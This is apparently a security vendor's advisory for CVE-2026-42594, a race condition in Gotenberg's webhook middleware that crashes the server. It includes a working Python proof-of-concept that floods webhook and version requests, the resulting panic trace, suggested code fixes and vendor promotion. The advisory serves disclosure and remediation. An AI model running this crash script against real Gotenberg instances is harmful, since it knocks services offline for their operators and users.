CVE-2026-42594

CVE-2026-42594 is a high-severity race condition vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.31.0. It is fixed in 8.32.0.

Summary

The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.

Details

pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:

w.asyncCount.Add(1)
go func() {
    defer cancel()
    defer w.asyncCount.Add(-1)

    err := next(c)                    // line 343
    ...
    sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()

return api.ErrAsyncProcess             // line 382

pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:

if errors.Is(err, ErrAsyncProcess) {
    return c.NoContent(http.StatusNoContent)
}

Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:

return func(c echo.Context) error {
    logger := c.Get("logger").(*slog.Logger)   // line 398

    ...
    go func() {
        defer func() { if r := recover(); r != nil { ... } }()   // recover is scoped here
        errChan <- next(c)
    }()

If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.

No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.

Proof of Concept

Reproduction on the stock Docker image with default configuration:

docker run -d --name gotenberg-poc -p 3000:3000 \
    -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error

Single-process stress script (Alice sends both streams, no second actor):

import requests, subprocess, time, json, threading

TARGET  = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post"   # passes default webhook-deny-list
STOP    = threading.Event()
html    = b"<html><body><h1>Q</h1></body></html>"

def webhook_fire():
    s = requests.Session()
    while not STOP.is_set():
        try:
            s.post(
                f"{TARGET}/forms/chromium/convert/html",
                files={"files": ("index.html", html, "text/html")},
                headers={
                    "Gotenberg-Webhook-Url":       WEBHOOK,
                    "Gotenberg-Webhook-Error-Url": WEBHOOK,
                },
                timeout=15,
            )
        except: pass

def noise_fire():
    s = requests.Session()
    while not STOP.is_set():
        try: s.get(f"{TARGET}/version", timeout=2)
        except: pass

for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire,   daemon=True).start()

t0 = time.time()
while time.time() - t0 < 60:
    time.sleep(1)
    status = json.loads(subprocess.run(
        ["docker", "inspect", "gotenberg-poc"],
        capture_output=True, text=True, check=True).stdout)[0]["State"]
    if status["Status"] != "running":
        print(f"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}")
        STOP.set()
        break

Observed output:

process crashed after 2.2s, exit code 2

Container stderr captured with docker logs gotenberg-poc:

panic: interface conversion: interface {} is nil, not *slog.Logger
goroutine 287020 [running]:
    /home/pkg/modules/api/middlewares.go:398 +0x2e6
    /home/pkg/modules/webhook/middleware.go:343 +0xec
created by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2
    /home/pkg/modules/webhook/middleware.go:338 +0x1176

Impact

Any client that can reach the Gotenberg API crashes the process. Auto-restart policies (--restart=always, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.

Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing. Typical impact: TOCTOU exploits, data corruption, or privilege escalation.

CVE-2026-42594 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (8.32.0); upgrading removes the vulnerable code path.

Affected versions

github.com/gotenberg/gotenberg/v8 (<= 8.31.0)

Security releases

github.com/gotenberg/gotenberg/v8 → 8.32.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Replace the unchecked type assertion at pkg/modules/api/middlewares.go:398 with a guarded lookup that handles the pool-reuse case:

logger, _ := c.Get("logger").(*slog.Logger)
if logger == nil {
    return errors.New("context reused from pool before middleware chain populated it")
}

Also add a defer recover() at the top of the webhook goroutine body at pkg/modules/webhook/middleware.go:338 so any future panic downstream does not kill the process:

go func() {
    defer func() {
        if r := recover(); r != nil {
            ctx.Log().Error(fmt.Sprintf("webhook goroutine panic: %v", r))
            handleError(fmt.Errorf("internal error: %v", r))
        }
    }()
    defer cancel()
    defer w.asyncCount.Add(-1)
    ...
}()

A deeper fix detaches echo.Context from api.Context before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear ctx.echoCtx so downstream code cannot reach the pooled context.

Found by aisafe.io

Frequently Asked Questions

  1. What is CVE-2026-42594? CVE-2026-42594 is a high-severity race condition vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.31.0. It is fixed in 8.32.0. Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing.
  2. How severe is CVE-2026-42594? CVE-2026-42594 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/gotenberg/gotenberg/v8 are affected by CVE-2026-42594? github.com/gotenberg/gotenberg/v8 (go) versions <= 8.31.0 is affected.
  4. Is there a fix for CVE-2026-42594? Yes. CVE-2026-42594 is fixed in 8.32.0. Upgrade to this version or later.
  5. Is CVE-2026-42594 exploitable, and should I be worried? Whether CVE-2026-42594 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-42594 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-42594? Upgrade github.com/gotenberg/gotenberg/v8 to 8.32.0 or later.

Other vulnerabilities in github.com/gotenberg/gotenberg/v8

CVE-2026-55229CVE-2026-45741CVE-2026-44829CVE-2026-42595CVE-2026-42597

Stop the waste.
Protect your environment with Kodem.